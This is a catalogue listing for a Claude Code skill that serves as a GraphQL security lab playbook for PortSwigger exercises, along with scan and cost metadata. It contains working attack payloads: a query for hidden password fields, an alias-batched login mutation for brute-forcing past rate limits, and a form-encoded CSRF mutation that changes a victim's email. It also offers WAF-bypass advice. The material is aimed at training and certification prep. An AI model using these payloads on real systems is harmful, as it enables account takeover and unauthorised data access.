Why use it?
It provides concrete lab procedures for finding and testing common GraphQL security weaknesses.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

GraphQL API — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

GraphQL API — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Accessing private posts 🟡 PRACTITIONER

{getBlogPost(id:3){id title postPassword}}

Query hidden postPassword field discovered via introspection.

Lab 2: Accidental field exposure 🟡 PRACTITIONER

Introspection → find User type → discover hidden field like password → query it.

Lab 3: Finding hidden endpoint 🟡 PRACTITIONER

Try: /graphql, /api, /api/graphql, /graphql/v1. Send universal query: {__typename}.

Lab 4: Bypass brute force protection 🟡 PRACTITIONER

mutation {
  login0:login(input:{username:"carlos",password:"123456"}){token}
  login1:login(input:{username:"carlos",password:"password"}){token}
  login2:login(input:{username:"carlos",password:"qwerty"}){token}
}

Batch aliases bypass per-request rate limiting.

Lab 5: CSRF over GraphQL 🟡 PRACTITIONER

Change Content-Type to application/x-www-form-urlencoded:

query=mutation{changeEmail(input:{email:"[email protected]"}){email}}

Form-encoded GraphQL bypasses CSRF protection that only checks JSON requests.

Blue Team Detection

  • Monitor access logs for anomalous payloads.
  • Implement strict input validation and parameterized queries where applicable.
  • Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

  1. Identify the filter/WAF
  2. Fuzz with Burp Intruder custom wordlists
  3. Search GitHub/Twitter for new bypasses
  4. Chain with other vulns for escalation
  5. Try encoding variants: URL, double-URL, unicode, hex

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
